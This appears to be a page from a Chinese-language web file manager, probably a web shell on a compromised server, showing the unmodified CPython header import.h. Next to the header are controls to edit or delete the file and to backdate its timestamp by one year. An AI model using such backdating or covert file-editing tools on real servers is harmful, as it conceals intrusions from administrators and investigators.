文件操作 - import.h
返回文件管理
返回主菜单
删除本文件
文件: /opt/alt/python313/include/python3.13/cpython/import.h
编辑文件内容
#ifndef Py_CPYTHON_IMPORT_H # error "this header file must not be included directly" #endif PyMODINIT_FUNC PyInit__imp(void); struct _inittab { const char *name; /* ASCII encoded string */ PyObject* (*initfunc)(void); }; // This is not used after Py_Initialize() is called. PyAPI_DATA(struct _inittab *) PyImport_Inittab; PyAPI_FUNC(int) PyImport_ExtendInittab(struct _inittab *newtab); struct _frozen { const char *name; /* ASCII encoded string */ const unsigned char *code; int size; int is_package; }; /* Embedding apps may change this pointer to point to their favorite collection of frozen modules: */ PyAPI_DATA(const struct _frozen *) PyImport_FrozenModules;
修改文件时间
将文件时间修改为当前时间的前一年
删除文件